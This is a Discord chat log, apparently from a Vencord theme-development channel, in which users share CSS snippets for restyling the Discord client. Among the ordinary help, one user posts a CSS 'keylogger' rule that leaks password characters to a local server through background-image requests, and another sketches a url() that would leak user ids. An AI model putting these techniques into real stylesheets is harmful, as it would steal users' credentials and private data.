#๐จ-theme-development
1 messages ยท Page 12 of 1
other small stuff that might be useful:
attr()being able to specify a fallback if element doesn't have that attribute, and also adding a unit eg. get4pxfromheight="4"sin(),log(),sqrt()and other maths stuff
Is sqrt faster than ^ 0.5
Just curious
hell yeah, full px values only and no blurry half px off problems
px em rem too confusing
Not something you need to worry about when writing snippets I guess
just use --unit: calc((100vw + 100vh) / 2) instead 
what the hell
probably but it's also more accurate
math IRL is already too much
How so? Because floating point stuff?
I used it in one of my themes to make chonky borders scale up and down with the window size, not sure if I would recommend though bc makes you insane in the head
General Implementation 
all of this is working code
red means that line is extra cool 
horror
holy shit it actually works
what does that = do
A nested selector
just gonna wait for this to be supported
i was asking if that is the same
theres already a scss CLI
That @extends seems like custom class, cool
Some discord themes are written in sass too
what it do
ah nice
ohh
is it just me or dev tools is fucked up? everytime i want to inspect an element it crash
Use Vesktop instead
isn't that whole different client?
yes
just checked the project, im not entirely sure whats the different, is it just a rewrite of discord's electron client or something?
it's web discord wrapped in a newer electron essentially
it's the best if you don't need global keybinds or ingame overlay
i see, i'll try that then
I don't even know that global key binds existed so Vesktop is perfect for me
@teal cave why do you fetch these dynamically instead of just inling them into the main stylesheet?
makes them all not show at first then load in which is kinda ugly
i think inlining them would be wayy better
also wow i just realised youre scottish, do you wear a kilt and play the bagpipe (u better, i love the bagpipe)
I don't have a reason, other than it was like this in DevilBro's original, and I didn't bother changing it
he has good ideas just not always the best implementations
I don't but if I didn't have neighbours, I might start ๐
I do swordfight, if that makes up for it somewhat lol
It's a fun sport, so not entirely sure where I stand on the sport to fun scale
I'm planning to compete in tournaments, so maybe more sporty?
how to make it so that the typing animation in discorddoesn't play in css
whar how did this get so many stars
OMGURFAMOUS
all thanks to you darling
there is a plugin for that
[class*=typingDots_]>svg {
display: none !important;
}
using display none doesn't reduce cpu usage.
Oh ok i better use this then thanks
that's ... exactly what I thought, if anything it would increase usage even
i don't think that's true
you avoid painting via display none
painting is generally the costly part
display none will stop it from repainting it all the time, so definitely slightly reduce cpu usage
i copied it from the internet ๐ญ
box-shadow: #0000002b 0px -23px 25px 0px inset, #00000026 0px -36px 30px 0px inset, #0000001a 0px -79px 40px 0px inset, #0000000f 0px 2px 1px, #00000017 0px 4px 2px, #00000017 0px 8px 4px, #00000017 0px 16px 8px, #00000017 0px 32px 16px;
ok that's a bit more
but could be made very similar with fewer
i clicked on a style i liked to copy the entire line
all attr selectors do look horrendous lmao
can anyone tell me why changing the order of the elements adds a filter or something to the pic...
.userPopoutOuter_d739b2 .avatarPositionNormal__1797c,
.userPopoutOuter_d739b2 .avatarPositionPremiumBanner__1e83d,
.userPopoutOuter_d739b2 .avatarPositionPremiumNoBanner__8bf3b {
position: static;
order: -1;
}
only seems to affect themed profiles
add z-index:1
eyy that fixed it thanks
very
are you sure you need all the *= selectors?
sane
wait how is removing the typing animation going to reduce cpu usage?
the animation of the dots jumping around is very performance taxing (thanks discord) so the plugin stop discord from calculating all that stuff
looks like a simple animation, but idk
discord is literally just text boxes and profile pictures
even if it is simple in theory, discord will fuck it up and make it bad
i swear there was a picture in picture popout snippet here, but can't find it
picture in picture what?
the popup when you watch a stream
i'm looking through search but nothing so far
this here, it's been discussed before
what do you want to do with it
Make it bigger
tutorial on css:
you join vc
you watch moxxies stream
open quickcss
open devtools
click to select element and click stream popout
class="pictureInPictureWindow_dc49a8 pictureInPictureWindowOverflow__3abe4 elevationHigh__80ea8 borderRadius__3965c" sounds interesting
CSS IS HARD!!!
banger. thanks
"banger, thanks"
and then you use width and height on it, yes?
yep
.pictureInPictureVideo_f1081d
rehash = death
No, bad
[class^=pictureInPictureVideo]
HOLY SHIT f53 IS TYPIJNG
What are you zeet
Why the fuck do you want the underscore
its always good to end the classname with an underscore if you dont need more to prevent overlap with things you dont want
None of my css broke when they switched from - to _ because it did not include it :p
I just add more context
me when replace - with _
less efficient
thank you all
This is not working anymore.
Anyone knows how can I resized members and channel list?
.members__9f47b, .sidebar_ded4b5
I wrote this
/* Collapse sidebars when screen is narrow */
@media (max-width: 1024px) {
/* Channel list*/
.sidebar_ded4b5 {
width: 60px;
transition-duration: 0.125s;
}
.sidebar_ded4b5:hover {
width: 240px;
}
/* Members list*/
.container_b2ce9c {
width: 60px;
transition-duration: 0.125s;
}
.container_b2ce9c:hover {
width: 240px;
}
}
thank you
this only collapse the sidebars when you narrow the window
I want to extend their size permanently.
div.sidebar_ded4b5 {
width: 360px;
}
div.container_b2ce9c {
width: 360px;
}```
For sidebar and members list respectively
change 360px to whatever you want
small problem.
the list isn't resizing with the names
[class*=members_] {
width: 360px;
}
[class*=member_] {
max-width: unset;
}
is there a new css selector of vencord BetterFolder?
this is while hovering on it
this without hovering
i want the color display everytime not on hovering
how can i do that
here is the css i am using
There should be a way to get rid of that awful "Call has that lasted X time" thing that pops up in the channel after a call
If you accidentally tap the call button then you basically just left a permanent scar in the channel
I hate this stupid ahh thing
That works for me
No i mean like
I'm fine with it only working applying to me
I just wanna get rid of the thing
.systemMessage__6e6a4 {display:none}
hides all system messages but
yea
That works, thanks
sorry for another ping; if you use english discord you can use this so it wont hide all sys messages
[aria-label=" (channel)"] .systemMessage__6e6a4 {display:none}
Ohh ok, i don't mind pings btw so dw
Hi, I'm wondering if someone can give me a high-level overview of how I'd write css to censor certain phrases in statuses et cetera
its not possible to select things based on content in css
@import url("https://lazuee.github.io/css-snippets/discord/sidebar-dm/import.css");
@import url("https://lazuee.github.io/css-snippets/discord/channel-list/import.css");
@import url("https://lazuee.github.io/css-snippets/discord/member-list/import.css");
:root {
--list-type: "hover";
/* --list-type: "focus"; */
--list-transition: 200ms;
--list-active-transition: 800ms;
--sidebar-dm-type: var(--list-type);
--sidebar-dm-transition: var(--list-transition);
--sidebar-dm-active-transition: var(--list-active-transition);
--sidebar-dm-width: 68px;
--sidebar-dm-active-width: 245px;
--sidebar-dm-display-header: "false";
--sidebar-dm-display-search: "false";
--sidebar-channel-type: var(--list-type);
--sidebar-channel-transition: var(--list-transition);
--sidebar-channel-active-transition: var(--list-active-transition);
--sidebar-channel-width: 68px;
--sidebar-channel-icon-size: 22px;
--sidebar-channel-active-width: 245px;
--member-list-type: var(--list-type);
--member-list-transition: var(--list-transition);
--member-list-active-transition: var(--list-active-transition);
--member-list-width: 70px;
--member-list-active-width: 245px;
}
thank you, works fine
can anyone tell
im new to making vencord themes, what is the sorta title bar bit called as an element \/ ?
use select element
it crashed discord when i open it
tested it x5 now
crashes when i open inspect elemt in the discord app
the trick is to get vesktop
because it just does that... for some reason
will they fix the bug?
no idea
afaik it has to do with the memory limit of the app
never happened to me with BD though so I'd imagine it can be fixed?
but for now i would just use vesktop
works very well for dev work
why does the html they write have to be so complicated? so many divs in divs in divs that are all sorta the same thing
Well it's all because of and of course since
windows is convicnced its a virus
tell windows to shut the fuck up and stop crying because ven isnt paying them
because it's react
As the lead developer on a large website that uses react. No.
Its likely because one of these
- It makes css easier somehow
- They refuse to use fragments
- They dumb
does anyone know how to fix the star
โญ
for some reason they made it use src
only the star emoji
supid ass twemoji star
get rekt by โญ
On the plus side, there have been a bunch of times where something I wanted to do in a theme was only possible because of the mountain of wrapper divs.
I was also thinking of making it so my messages are on the right but decided against it
I was also thinking of making something like border-images to make the message balloons have the stems or whatever they're called
too complicated
not really
[class^=messageListItem__][data-is-self="true"] {
margin-left: auto;
width: fit-content;
padding-right: 48px;
[class^=container_],
.embedAuthor_cb4bfc {
direction: rtl;
}
[class^=contents_] {
display: inline-block;
width: 100%;
max-width: 100%;
margin-left: auto;
margin-right: 8px;
}
[class^=repliedMessage_],
[class^=contents_] [class*=messageContent__],
a:not([class*=embed_] [class*=embedAuthorNameLink_]) {
margin-left: auto;
}
[class^=avatar__] {
left: unset;
right: -8px;
}
[class^=header__],
[class*=messageContent__] {
display: flex;
flex-direction: row-reverse;
}
[class*=timestampInline_] {
top: 2px;
left: unset;
right: 8px;
}
}
whatever this is to align own messages to the right
I want to commit multiple war crimes on you for formatting your CSS like this
huh why
can you nest CSS now?
yes
yes
just vesktop or all CSS?
nesting CSS is supported in vesktop, not sure about vencord
it is
[class^=messageListItem__][data-is-self="true"] {
margin-left: auto;
width: fit-content;
padding-right: 48px;
[class^=container_],
.embedAuthor_cb4bfc {
direction: rtl;
}
[class^=contents_] {
display: inline-block;
width: 100%;
max-width: 100%;
margin-left: auto;
margin-right: 8px;
}
[class^=repliedMessage_],
[class^=contents_] [class*=messageContent__],
a:not([class*=embed_] [class*=embedAuthorNameLink_]) {
margin-left: auto;
}
[class^=avatar__] {
left: unset;
right: -8px;
}
[class^=header__],
[class*=messageContent__] {
display: flex;
flex-direction: row-reverse;
}
[class*=timestampInline_] {
top: 2px;
left: unset;
right: 8px;
}
}
im kinda asking in general, that would be awesome for webdev work :o
run navigator.appVersion in console and tell me what it prints
or should it be without any spaces
if its on here u can use nesting: https://caniuse.com/css-nesting
guh
that's a good point
try to do what whatsapp does...?
you could make the channel list larger to expand down and more to the sides
so that the chat area is compressed
okay so the white boxes would be flex box right?
You could use flexbox or grid
okokokok
you probably want flexbox
this looks very weird because not all messages are the same width
or maybe it just doesn't work for me
heyoo, is it possible to modify an element's text content with only CSS possible or not?
theres the content property which lets you add text to an element
only pseudoelements
is there a nicer way of hiding server shop than this?
{
display: none !important;
}```
screenshot devtools selection of that element using themeattributes
with themeattributes?
i j did "copy selector" to get this ^
open the children please
i have the plugin enabled, idk how to use it tbh
yeah i was looking for a data list item id or aria label or smthng but couldnt find any
try [class^=containerDefault_]:last-of-type
unless there are more elements with the same classes below that
forgor the =
oh yeah this
yeah then just use :nth-of-type() instead (if that doesn't exist keep :nth-child(5)
not sure rn if nth of type exists
no problem!
I meant [class^=containerDefault_]:nth-of-type(5) btw
i misunderstood then, but that doesnt work either
it hides a muted text channel w threads
what they selling
idk if someone has already done this but i j made this to get rid of the upsell in profile customizer
#profile-customization-tab > div:nth-child(4) > div > div > [class^=sectionsContainer_] > div:nth-child(4), /* avatar decoration customizer */
#profile-customization-tab > div:nth-child(4) > div > div > [class^=sectionsContainer_] > div:nth-child(5) /* profile effect customizer */
{
display: none !important;
}
shit

btw this only works on that specific server, other servers it hides other channels
guh
should be the same for your old selector though
then I can't help you right now
doesnt look like it has the same issue
nw, thanks anyway!
is it ugly
yes
html > body > div:nth-child(2) > div:nth-child(3) > div:nth-child(1) > div:nth-child(1) > div > div:nth-child(2) > div > div > div > div > div:nth-child(2) > div:nth-child(2) > div:nth-child(1) > div:nth-child(1) > main > div:nth-child(1) > div:nth-child(2) > div > ol > li:nth-child(97) > div > div:nth-child(2) > div > span > img {
display: none !important;
}
the selectors are ew
I'll murder you in your sleep
NTH CHILD 97??
gotta get the right message
i do the bare minimum effort that works :)
HOW
what the fuck is this monstrosity?
Pretty decent chance the container class there is only used for that. If not just do something like .containerClass:has([src=<src of the image on the left>])
re devtools crashing: #๐ฅ-vencord-support-๐ฅ message
you can also enable the no devtools warning plugin and then inspect discord the moment it begins loading
or just use vesktop 
vesktop is the answer to everything
vesktop bestop on top
interesting, I have a theme with heavy use of gradients, shadows, filter:blur and filter:drop-shadow etc.. I updated my gpu drivers which caused vesktop to lose gpu accel but it worked fine still up until I tried to have a thread in the side view
trying to scroll that view was like 5 sec per frame
existential problems? This baby will take right care of it *slaps roof of vesktop*
how can i inspect in discord , do i need vesktop or i can do it just with vencord ?
ctrl+shift+i works in both but you should first enable nodevtoolswarning plugin
oh ok
and normal discord+vencord might still crash for whatever reason, vesktop won't
yeah it crashes back to back
chat is there a way to move user profile in settings (profiles tab)
move where
i have vesktop literally just so i can inspect things
id use it always if u could use keybinds but :/
Vencord Web maybe
altho if vesktop doesnโt have keybinds, i suppose web does even less?
webcord doesn't have keybind support but I think vesktop had some kind of extra support built in some time ago
is webcord your personal term for Vencord Web?
some kind of extra support built in some time ago
oh cool
"now"
less than 2 months, prbly less than 1
to left or right
that didnt work for some reason, but i did this which serves the same purpose
#profile-customization-tab > [class^=container_]:has([class^=art__])
thanks for the tip nonetheless
u were right
:(
is there no way of doing smthng like this?
[class^=containerDefault__] > [class^=link__]:has([class^=content_] > [class^=name_]:has("Server Shop"))
that
is such a shame
this is my workaround for now :/
#channels > ul > li:nth-child(5) > [class^=link__]
when text select in CSS?
new feature of chromium 452
real???????
factual
I'll eat ven if I wake up tomorrow and we have text selecting and usercss
it's in the css level 7 selectors proposal
.container_d6bff4:has([src="/assets/8693cf27588b5d099f98.png"]) {
display: none;
}
Is how you'd do it the way I'd sent. Should work fine
yall should make a plugin that makes heic pictures and mov videos display on pc instead of showing up as files
- not a CSS request
- would require a lot of work
Is their a functioning CSS for colored chat bubbles on the normal app not the browser version?
they're the same thing
I encountered a script last week that only worked on the browser version because of mix ins that required the latest chromium (or so I was told). That's why I asked
I didn't even know this existed lmao. Thank you 
this is soo huge for userstyles
now we just need the attr() function for all properties or a currentBackgroundColor value
attr(.element:"background-color")
the quotation marks because of selectors like :is and :has
would be revolutionary
just like usercss!!!!!!
its already defined in the spec
just not implemented by browsers
at least as a draft https://drafts.csswg.org/css-values-5/#attr-notation
we need all the CSS power we can have
I wanna run proprietary, external code that will give people viruses just by having my imports
i will make css keylogger (actually real)
I will make CSS doom
you could do something like
content: url("https://yourown.website?"attr(.privatemessage [get the userid]))
}```
maybe at least
unfortunately CSS doesn't allow string concatenation like that
but it would be nice if they did
oh okay I've seen similar things
attr() = attr( <attr-name> <attr-type>? , <declaration-value>?)
<attr-name> = [ <ident-token> '|' ]? <ident-token>
<attr-type> = string | url | ident | color | number | percentage |
length | angle | time | frequency | flex | <dimension-unit>
I think @gilded cloak did that in a snippet
u cant specify the element
why!!!
u can only reference attributes on the current css selector
you could do a similar thing using custom properties though
another problem is circular references
or variables maybe
Did what I cant read context
that is another reason why we dont have a currentBackgroundColor value
(custom properties is the spec name for variables)
string concatenation in css or what it's called
I think you did "text" attr() "text"
I don't think I have done anything with attr
then it was some other godly css expert in here
you can do it in some contexts (like the content property), not with url() though
oh okay
would be great though
I don't think any of those words are accurate descriptors of me
maybe I'm mistaking you for someone else
I do a lot of css. But I'm really bad at it. I just spend a lot of time until it works
css-gcpm-3
that module has stuff related to that
That also just won't work with url() it doesn't like interpolation. There's some stuff in the spec, but there doesn't seem to be any push to implement it
yeah and currently u cant use var() in url()
cool!
any idea when itโll drop in chrome?
sunnie said chromium 452, I believe it
you have an interesting habit of reading and responding to old conversations btw
nothing against it but it's interesting
^^

cool!
The OKLCH, OKLAB, XYZ or sRGB color spaces provide the most predictable results when lightening colors.
bruh why so many ToT
ToT?
T-T but :o
oh I thought it was some acronym
(actually real)
i donโt believe
does nothing for me, either way my method would work if they change the image or there's a rehash so im happy w it
btw you know that that statement was entirely fabricated right
just making sure 
aw sad
no i did not
lmao
Looks like they were thinking about it for the CSS3 spec but it didn't make the cut.
:contains()CSS3 selector http://www.w3.org/TR/css3-selectors/#content-selectors
(โ https://stackoverflow.com/a/4561376/234309 )
yeah I know
it requires a specific environment but is possible
Rounded (user panel, simplier user pop out, spotify player)
- it removes things I dont use from the user pop out, so it's basically a picker between dnd and invisible status but u can easily tweak it so u get whatever u're using back
Put this at the top of ur quickcss file to use it :
@import url('https://raw.githubusercontent.com/HmTici/discord-css-snippets/main/Rounded%20(user%20panel%2C%20simplier%20user%20pop%20out%2C%20rounded%20spotify%20player)/import.css');
or check the code on github :
https://github.com/HmTici/discord-css-snippets/blob/main/Rounded (user panel%2C simplier user pop out%2C rounded spotify player)/import.css
(I'm new to web dev etc so if there is any problem that's my bad)
horror
it actually logs every common character lmao
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}```
haha thatโs cool
quick question
i'm trying to make css to remove only the events tab and not the server guide tab and channels + roles
[class*="containerDefault__3187b wrapper__7bcde"]
{
display: none;
}```
this is how far i've gotten however it removes all 3
how can i get it to specify only the events tab which is under the same class but under role="listitem" data-list-item-id="channels___upcoming-events-(server id here)' tab index="-1"

use the attribute selector when trying to IGNORE hashes, that's the only thing it is useful for
so [class^=containerDefault_]
read the CSS selector docs for more information on why ^
gotcha
in your case, you don't use class at all though
[data-list-item-id^=channels___upcoming-events-]
you can use everything in place of class that is formatted the same way
if it says (something)="(something)" you can select it that way
ah, i tried to do it but in the form of [data-list-item-id="channels___upcoming-events-"] but didnt know you had to reformat
thanks
oh no you were asking for something that had exactly that value as the data list thing
using ^= says beginning with
ic
everyone is trans here, you can't
Are you?
@edgy sentinel I always knew you were a transfem
no, but yes
trans folk can totally have balls
not for long
you donโt have to get operated
i will personally take them
you will take the balls?
you will sell the balls D=
there's a market for that
Craigsballs 
[data-list-item-id*="_upcoming-events"]
whats the class of the user area? im trying to recolor it to fit with the rest of my theme but it isnt being affected
use dev tools and find out
yeah thats what i did 
have fun finding which of those works lmao

The one thatโs brighter than the rest of it is the one thatโs tied to the element
any ways for me to get the old version of discord theme?
you could check out dtm 16
saw + used, dont u think it isn't really oldschool?
i mean you could always just make your own theme
pretty sure its panels__
that also affects the VC thing or activity
Panels and container both have a background if i recall correctly, panels is just for the avatar, username thing and panels is foreverything that gets put into a box at the bottom of the channellist
as zeylogger says, panels is the main element that the vc and activity goes into
does not mean they medically transitioned
FUCK
pip install balls
sudo dnf install balls
add !important to the end of the line like
.thing {
color: #FFFFFF !important;
}
I didn't know borders could look this good
discord users after writing 14k lines of code to make discord look good
this is under 2500 lines
how do you not have cute role despite joining in 2022
inssae
That's still a stupid amount of css
mine's 401 lines including comments and whitespace
not for something like discord
considering I have seen a theme with almost 70k lines
devilbro themes:
I think the biggest at the moment is Steam by Disease, Slate by Gibbu is also right up there
wrong channel moment
correct channel moment
? I'm talking about the line count of their themes
big egg on your face ryan
how anyone supposed to know all the themes out there by name
bro is a discord theme enthusiast
if the name gibbu doesn't tell you anything you do not know enough about discord themes
i do not want to know anything about discord themes
would take hundreds of hours to make a comprehensive theme
I know most of Gibbu's and Disease's themes. They're quite popular and often have people requesting fixes
idk I can bang together a theme in ~50 hrs
I can bang a theme together in 10 minutes
if ur just changing colors
but if u wanted to make a good amoled theme
you would need to add borders to everything
it's gonna be really basic and ugly but it'll be a theme
ive already done something like this with youtube
took weeks
*{border:white;2px;solid}
I think there's a spreadsheet out there of all the themeable areas, OT sure if it includes how to get to them, but that speeds it along a bit
about 4 1/2 weeks
so like a month
all themeable areas is what you get when you open devtools
nah I really do mean a full theme, anything thatโs not finnicky on details really
There's a whole bunch of parts of this app most people just don't use though. I think to submit a theme on BD it has to have daily comprehensive coverage of the app, which includes obscure popups most people haven't seen
yeah im talking literally everything tho
thats what i did with my youtube userstyle
even the obscure special 404 page
Yeah that's what the spreadsheet helps with. It's a pain on discord though, because there's always new experiments adding stupid shit
then what's discolored?
Iirc the requirements are a fairly recent thing because people kept submitting recolours or anime themes
i did so much crazy shit
this is how i made only the background of some images change from #0f0f0f to #000
/* "Ad-free" Image */
.ytm-lp-small-feature-section-view-model-c3__feature-image-container img:is(
[src="https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_phone_200x148.webp"],
[src="https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_tablet_200x148.webp"]) {
background: center / contain no-repeat url("https://www.gstatic.com/youtube/img/promos/growth/premium_lp2_small_feature_Ad-free_dark_phone_200x148.webp"),
center / contain no-repeat url("data:image/svg+xml,\
<svg xmlns='http://www.w3.org/2000/svg' fill='%230f0f0f' viewBox='0 0 200 148'>\
<path d='M0 0h200v148H0z'/>\
</svg>\
");
background-blend-mode: difference;
content: var(--ayt-img);
}
changing the color of only the text in the youtube logo:
/* YouTube Premium Logo */
#logo.yt-unlimited-page-header-renderer {
position: relative;
}
#logo.yt-unlimited-page-header-renderer::before {
background: 100% 0% / calc(55200% / 389) no-repeat url("https://www.gstatic.com/youtube/img/promos/growth/ytr_lp2_logo_premium_desktop_552x71.png");
content: "";
filter: drop-shadow(0 10000lvh var(--yt-spec-wordmark-text));
width: calc(38900% / 552);
height: 100%;
position: absolute;
right: 0;
transform: translateY(-10000lvh);
}
u can do some crazy shit with just css
you don't say 
55200% 
i needed the fraction 552/389
as a percent
thats the only way to do it
552px is the length of the whole logo
389px is the length of the "YouTube" part of the logo
i cant get elements to display above the sidebar no matter how much i mess with the z-index of anything, using horizontal sidebar here
z-index only works on elements with a specified position of anything other than static
You could try setting it to position: fixed and top: 0 right: 0?
that worked tysm!
Hello everyone! I'm looking for a way to display a world clock for my friends' timezones on Discord. Specifically, I want it to always be visible either in the bottom right corner of the Discord window or above my profile.
Initially, I tried finding a bot that could set a channel name to the current time in a specific timezone and then pinning that channel to my favorite DMs/servers. However, I couldn't find any bots that offered this feature.
Then, I attempted to create a custom theme using CSS, but since I don't know how to code, my attempt at using ChatGPT to write a better Discord theme with a clock in the bottom right didn't work out.
I'm wondering if it's possible to create a custom Discord theme using Vencord that can display the current time in multiple timezones and automatically update. It would be great if someone could assist me with the CSS code for this, as I'm having trouble using ChatGPT for this purpose.
Thank you!
not possible with css, you need a plugin
vencord doesn't have a clock plugin currently so check out #1032200195582197831
can you just set up various clocks in your phone?
what are you trying to make
I had this to hide the gift button on chat box, but it doesn't seem to work.
.buttons_ce5b56 > .button_afdfd9 {
display: none;
}```
Is there also one to hide/toggle the sticker & gif buttons as well? Maybe even have them pop out to use when mousing over the emote button?
button[aria-label="Open sticker picker"] {
display: none;
}
button[aria-label="Open GIF picker"] {
display: none;
}
button[aria-label="Send a gift"] {
display: none;
} ```
Hmmm, not working. Guess something in my css is clashing with it 
[class*=buttons_]>[aria-label="Send a gift"]{display:none!important}
it only works if your discord is in english, is it?
I'm using it in english and on vesktop if that matters
then I don't know why it wouldn't work
A lot of people ask for the codes to hide those buttons. It would be lovely if someone could make a plugin to toggle them.
no
a plugin that does something that can easily be done with one line of css will never get merged
Yeah, something is clashing with it. It works on chrome where I have minimal custom css but not on vesktop where I have significantly more
click on the badge element
in inspect element
what are its computed styles?
what is the source of the display style?
Yeah, I figured there was a reason it hadn't already been done.
click the arrow on the elements computed display style
it will show you what is making it still show
not that arrow
the arrow to the right of "flex" in this image
Sorry if I'm clicking the wrong stuff. I'm still fairly new to all this
u gotta click the element with the aria-label="Send a gift"
this one
Yes
Try something basic in your quick css
See if it works
Like *{background-color:red!important}
can a css expert can tell me how the code could me more efficient or smth ?
That didn't work, but moving the other code higher up on my CSS sheet made it mostly work. The sticker button is still visible
It is better practice to use *= instead of ^= for class names
Also try to only use class atribute selectors
Instead of stuff like .contents_fb6220
U could do [class*=contents_]
..except that's extremely generic and will probably change way more stuff than intended
Meh, I just made it into a css import on github and that got it to work 
Thank you for your help, @night drift. Very cool
oh i see
ah
yo ryan 
the ^= selector is especially useful for this
the devmode id has your id so to have it work for everyone you can use [id^=account-devmode-copy-id]
oh wow I didnt even notice that
and the three status picker selectors can be reduced to [id^=account-status-picker]
who added that LMAO
(it's true)
sunnie could u tag me here plz so I come back i have some errands to run and i'll forget to come back cause i have no memory
ty 
Awww it broke
.newMemberBadge-3PdStX:before {
content: url(https://cdn.discordapp.com/emojis/1024751291504791654.gif?size=64&quality=lossless);
transform: translate(-100%, -110%);
display: inline-block;
scale: 0.32;
}```

replace .newMemberBadge-3PdStX with .newMemberBadge__17bc0 or [class^=newMemberBadge_]
I did a tad bit too much trolling
Thank you, fren
Yeah ^= for ids since there can only be one
And *= for classes cause there can be many
And there is no guarantee the class you are trying to match will be at the start of the class attribute string
only if you are experienced enough to know what other elements that could affect
do not use those as a beginner
Just add more specificty ๐
do you expect a beginner to know that
Is this still viable, but with the change of the gift button being completely hidden?
.buttons-uaqb-5 {
overflow: hidden;
position: absolute;
justify-content: flex-end;
background: rgba(23, 24, 26, 0.25);
border-radius: 8px;
transition: all 350ms;
}
.buttons-uaqb-5:where(:not(:hover)){
max-width: 35px;
right: -0px;
}
.buttons-uaqb-5::before {
opacity: 0%;
transition: opacity 150ms;
position: absolute;
top: 4px;
content: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 512 512'%3E%3Crect width='352' height='42' x='80' y='96' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3Crect width='352' height='42' x='80' y='240' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3Crect width='352' height='42' x='80' y='384' fill='rgb(181, 186, 193)' class='ci-primary'/%3E%3C/svg%3E");
display: block;
object-fit: cover;
height: 44px;
width: 35px;
}
.buttons-uaqb-5:where(:not(:hover))::before {
opacity: 100%;
transition: opacity 350ms;
}
.buttons-uaqb-5:hover {
padding-left: 5px;
padding-right: 5px;
border-radius: 16px;
max-width: 100%;
right: 0px;
background: rgba(23, 24, 26, 0.5);
transition: all 150ms;
}
.buttons-uaqb-5 > div, .buttons-uaqb-5 > button {
transform: scaleX(0%) !important;
opacity: 0%;
}
.buttons-uaqb-5:hover > div, .buttons-uaqb-5:hover > button {
transform: scaleX(100%) !important;
opacity: 100%;
}
.buttons-uaqb-5 > div:hover svg, .buttons-uaqb-5 > button:hover svg {
height: 28px !important;
width: 28px !important;
margin-right: -2px;
margin-left: -2px;
}
.buttons-uaqb-5 > div:nth-last-child(2):hover > button > div > div > svg {
margin-right: -4px;
margin-left: -4px;
}
.buttons-uaqb-5 > div svg, .buttons-uaqb-5 > button svg {
transition: all 0.3s;
}```
seems to work pretty well after running it through https://syndishanx.github.io/Website/Update_Classes.html
Oh awesome. I didn't know this existed 
the create a server modal uses the theme-light variables since it's in the theme-light class. is there any easy way to move it to use theme-dark variables?
whatโs the element ID
Thats like the first thing you learn about css
And if u don't know just Google search and now you know
no it isnt?
and yeah use color: var(โdark-themewtv);
you shouldn't have to care about specificity normally, when making styles for your own site
if it causes issues youre doing something wrong
stuff
It's the whole cascading part of cascading style sheets
there ended up being like 3 things for the single modal:```css
/* create a server modal */
.container__0d1a7 {
--header-primary: #FFFFFF;
--header-secondary: #FFFFFF;
--modal-footer-background: #404040
}
.container__73245 {
--background-primary: #505050;
--text-normal: #FFFFFF
}
.focusLock__10aa5 {
--modal-background: #404040;
}```
cascading style sheets does not require the use of attribute selectors
Attribute selectors have the same specifity as class selector ๐
the 2nd container is just these buttons, first one is the footer, focuslock is the actual background
Attribute selectors are only easier to grasp once the website has been made with a basic normal class style sheet
just use inline css
Please don't tell me the first thing you add to your stylesheet when building a website is the attribute selector
When did this become about just attribute selectors?
We were talking about specificity
well, Discord's classes already do a good job of that
I don't think u get it
Attribute selectors have the same specifity as class selectors
There is 0 difference
.theme-dark .theme-light {
--all-that-stuff-here
}
I don't want to change it for both themes. I'm in dark theme, but the modal uses variables from light theme, same thing in light theme. for some reason this modal seems to just be forced to light theme, and I wanted to use dark theme variables with it
that is not both
it selects theme-light that is inside theme-dark
ty, just a question though, if I have css like this:```css
.theme-dark {
...
--modal-background: #404040;
...
}
.theme-dark .theme-light {
/* create a server modal */
...
--modal-background: var(--modal-background);
...
}```
the CSS no longer works. I'm assuming I just need to set different variable names, correct?
seems like I can work around it like this ```css
.theme-dark {
...
--modal-background: var(--modal-background-changed);
--modal-background-changed: #404040;
...
}
.theme-dark .theme-light {
/* create a server modal */
...
--modal-background: var(--modal-background-changed);
...
}
I'm hoping there's no other elements like this, but who knows
for yt or dc?
wdym by daily?
Discord.
That was meant to say "fairly"
if you come across the link to that spreadsheet, iโm interested. (Would prbly not use it, but mainly hoarding, but also to take a curious look^^)
Could probably ask for it in the BD server, they check it to confirm coverage of submitted themes
by using css
ik anyway
just change one of the classes on it to make sure it isn't white
simple
what's your css
paste your css here
whar
use quickcss to change it
easily
the same way you did it in the html
if you knew how css worked you would know
yes i know
but that isn't permanent
to change it permanently
you have to use
css
why
it does have many constant classes
you could use the aria-label attribute on the button or the d attribute on the path inside the button's svg icon
that or use the parent
if u use the aria-label attribute it wont work if u change languages tho
show us your code
show what u did
cuz its case sensitive
unless you do [aria-label='mute' i]
you can see if your selector is correct by checking the styles tab for your target element
if correct your rule will show in that tab
its "Mute" I think
oh
well in that case you would need to select a bit more
like another class that selects the buttons from that place
ok so, im having a problem with a theme i made and i was wondering if anyone could help. initially i rounded the message bar but that made it so that when you go to reply to a user, the reply bar isnt connected. so i changed the message bar to only have the bottom corners rounded and that worked but i want to try find a way (maybe using a script if thats possible) to unround the top corners of the message bar once the reply bar appears
could you show how you rounded the message bar?
yeah that's easy to do
just with the border radius property
when the top thing is showing set the top left and right border radiuses of the bottom thing to 0
yeah ik but how 
selectors
like +
or maybe :has()
.hasConnectedBar__277ab can be used to select the textarea when another bar is connected to it
u dont even need to change anything ๐
it already works on default theme
u just need to lower ur specificity
could you give me an example snippet please? im pretty new to vencord css
yeah sure
[class*=attachedBars_],
[class*=replyBar_] {
border-top-left-radius: 25px;
border-top-right-radius: 25px;
}
[class*=scrollableContainer__]:not([class*=hasConnectedBar__]) {
border-top-left-radius: 25px;
border-top-right-radius: 25px;
}
[class*=scrollableContainer__] {
border-bottom-left-radius: 25px;
border-bottom-right-radius: 25px;
}
well there you go
thank you! 
any pointers on how i can go about adding message bubbles to my theme?
select a message or its contents in devtools, pick a selector and throw a background/border on it
I use [class*=cozyMessage_] so it goes around the avatar too
most people seem to prefer .contents_f41bb2 which only selects the rest
i tried that, but right now its giving every message its own bubble instead of grouping everything as one.
went through all the selectors and it does the same thing
yes that's how it will work regardless
i got an idea
is it possible to do something like this?
- if the message is the first one from said user, only round the top corners
- if the message is in the middle, round none
- if the message is the last, round the bottom
ik how to do it
can't select the last message of a group any way but the first of a group can be selected separately
hmmmmmmmmmmm
how?
[id^=chat-messages-] {
background-color: #070707;
}
[id^=chat-messages-]:has([id^=message-username-]) {
border-top-left-radius: 20px;
border-top-right-radius: 20px;
}
